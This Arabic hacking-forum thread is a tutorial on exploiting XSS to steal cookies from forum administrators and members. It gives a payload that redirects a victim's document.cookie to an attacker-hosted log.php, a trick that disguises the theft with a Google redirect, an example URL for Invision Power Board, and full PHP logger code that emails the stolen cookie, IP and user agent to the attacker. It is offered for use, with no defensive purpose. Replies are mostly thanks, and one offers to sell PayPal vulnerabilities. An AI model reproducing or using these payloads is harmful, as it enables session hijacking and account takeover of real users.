الدرس السابع استغلال ثغرة xss

[pSyCh0_3D]

بسم الله الرحمان الرحيم
كيفكم شباب اليوم معي شرح مبسط لثغرة XSS
نتابع الشرح

طيب نأتي الان الى الكود المهم في ثغرات xss
هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في ثغرات xss

**********javascript:alert(document.******)</Script>

الأن الكود هذا لم يكون بالثغره سوف يظهر لك الكوكيز تبعك وهو يحتوي على نقاط مهمه وهي :
1- رقم العضويه
2- الباسورد مشفر md5
3 - الباسورد مشفر Hash

ورقم الاستايل وغيره ,, على حسب نوعيه البرنامج المصاب!

طيب الحين وجدت هذا الكود سوف نربطه باللوج

ماهو اللوج ؟
اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز ,, وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز تبعه باللوج او يرسل الى ايميلك ( على حسب اللوج )

طيب الان بعد ما ربطته اصبح الرابط :


**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>

تمام الان :
www.xxx.com = الموقع المربوط فيه اللوج
log.php = اسم ملف اللوج
طيب الحين نرفع اللوج على اي موقع عندك وبعد كذا تستبدل
www.xxx.com/log.php برابط اللوج الي عندك

المهم الان هذا السكربت اصبح جاهزا للاستعمال سوف نضعه بكود الثغره ونستبدل :


**********javascript:alert(document.******)</Script>

بـ


**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>

الان نخلي مثلا المدير العام او اي عضو تبي تسرق الكوكيز تبعه انه يفتح الرابط

بتقول كيف بقولك ياااولد انت وراااااسك عاد بطريقتك خليه يفتح الرابط

طيب الحين بتقولي والله فضيحه يا pSyCh0 لو اخليه يفتح الرابط يطلع عنده اللوج وبيكشفني

بقوله ولا يهمك اخوي نربطه كمان بموقع للتمويه

مثلا نربطه بموقع www.google.com بحيث انه لم يفتح الثغره والمربوط فيها اللوج وموقع جوجل راح يتحول اوتوماتيك الى جوجل مبسط استغلال ثغرات (موضوع تطبيق وبكذا مايشك

بتقول كيف يا pSyCh0 بقولك كذا نضع بعد رابط اللوج :
re=www.google.com&
بس مبسط استغلال ثغرات (موضوع تطبيق
بحيث يكون بعد & يوجد id ... الخ
يعني يكون الكود :


**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>

طبعا انت استبدل www.google.com باي موقع تبغاه ويفضل يكون الموقع الي مصاب فيه الثغره (1)

طيب الحين تقول كذا تمام يا pSyCh0 يالله عطنا مثااال

بعطيكم مثال لثغره :Invision Power Board

الكود للثغره :
http://xxx.com/forums/index.php?act=idx='>**********alert(document.******)</script>
احنا راح نستبدل :


**********javascript:alert(document.******)</Script>

بـ


**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>

واستبدل هنا موقع جوجل باي موقع تبغاه

ورابط اللوج www.xxx.com/log.php باللوج تبعك

====================
تطبيق :

التطبيق هنا :


http://www.test.com/forums/index.php?act=idx='>**********alert(document.******)</script>

اللوج :


<?php
// Thnx For Aljyyosh Team - http://www.aljyyosh.com/ - http://www.aljyyosh.com//vb
//----- S4a Logger v0.10 -----//
// Star
//Your Email --::--
$ToGet = "[email protected]";
////////////////////////////////
$Ip = $REMOTE_ADDR;
$Sys = $HTTP_USER_AGENT;
//////////////////////////////////////////////
if($ToGet == ''){echo 'Edit Your Email Befor You Use Me !!'; exit();}
//
$Time = date("l dS of F Y h:i:s A");

$Hdr = 'From: Logger <logger@secourty>';

$Msg = '
Hi ,, Mr.Attacker :D
-------------------------------------------
- Thnx For Aljyyosh Team ,, For Aljyyosh Forum -
---------------------------------------------------------------------
---------------------------------------------------------------------
- IP ::- [ ' .$Ip.' ]
- System ::- [ '.$Sys.' ]
- The ****** ::- [ '.$id.' ]
- Time ::- [ '.$Time.' ]
---------------------------------------------------------------------
- root@devil00 ~ ./evilcat /etc/passwd -
- root@devil00 ~ ./s4acracker passwd --log <log.log> && -
---------------------------------------------------------------------
';
$send = mail($ToGet,'S4a - [ New****** ]',$Msg,$Hdr);
//
/* &@#&@#&@#&@#&@#&@#&@# code ,, By pSyCh0_3D [ :D ] << v0.10 */
if(isset($_GET["re"])){
$&@#&@#&@#&@#&@#&@#&@# = $_GET["re"];
if($&@#&@#&@#&@#&@#&@#&@# == ""){
mail ($ToGet,'S4a - [Error]','&@#&@#&@#&@#&@#&@#&@# Is Set And Its Empty !!',$Hdr);
}else{
header("location:".$&@#&@#&@#&@#&@#&@#&@#);
}
}
//
?>

استبدل هنا :


$ToGet = "[email protected]";

الايميل: [email protected]
بالايميل تبعك !

واحفظه بامتداد php طبعا افتح المفكره وحط الكود ولاتنسى تغير الايميل واحفظه بامتداد php
وارفعه على موقعك

[Hidden pain]

شكرا لك
من الافضل ان ترفق سكربت ال php احسن اخي

[boykiller]

مشكور وماقصرت يالغلا
والله يعافيك
تقبل مروري المتوآضع

[HaCKer011]

مشكوووووور اخي تقبل مروري

[pSyCh0_3D]

منورين الموظوع

[amine123]

مشكور وماقصرت يالغلا
والله يعافيك
تقبل مروري المتوآضع

[pSyCh0_3D]

منور حبيبي

[صايدهم]

تتبغى الصراحة وربي اروع دوره شفتها
يعطيك العافييه يا عسل
همسة ( يالييت لو تسوي شرح فديو وتطبق عشان توضح الطريقة )

[simomz]

تقبل مروري

[jeano3]

يسلموووووووووووووووووا

[pSyCh0_3D]

اهلا حبيبي منور الموضوع

[Predator of Morocco]

موضوع جيد. حياك الله

[hmezkcq]

مبدع مبدع مبدع مبدع مبدع مبدع مبدع مبدع

[مشاري احمد]

مشكوررر يعطيك الف عافيه

[MǿňŦĂ]

بصراحة موضوع روعة مشكورا جداا على شرح رائع

[maghribii]

مبدع دائما في مواضيعك

ان شاء الله اني احاول اتعلم واستفيد

[hymoo hkrz]

مشكوووورررر^_^

[Omar hcj]

مشكووووووووووووووووور

[pSyCh0_3D]

منور حبيبي تسلم

[dark haCk]

مشكوررررررررررررررررررررر رر ويعطيك الف عافية شرح ولا اروع ,, تحياتي لك :)

[yurirevenge]

مشكور موضوع جميل

[hakim021]

السلام عليك أخي الفاضل حياك الله و جدت 30 ثغرة لموقع الباي بال و هي ثغلة و جتها بنفسها تبحث عن الثغرات يرجا أن تراسلني على [email protected] بأسرع وقت لأن واحد سرق مني الثغرات وغايف ابيعها و شكرا

[Saad.Nabir111]

شكرا جزيلا فى انتظار المزيد
http://www.freeimagehost.info/files/img/user_uploads/displayimage.php?id=31z6ayyvo08310001.gif

[iFox]

مشكور جدا اخى

[hacker mizo]

مشكوووور يا غالي على الشرح الجميل

[wassimdaily]

جميييييييييييييييييييييل شرحك جدا... بس كيف الكوكيز تبعه يوصل لي.. وضح الطريقة ارجوك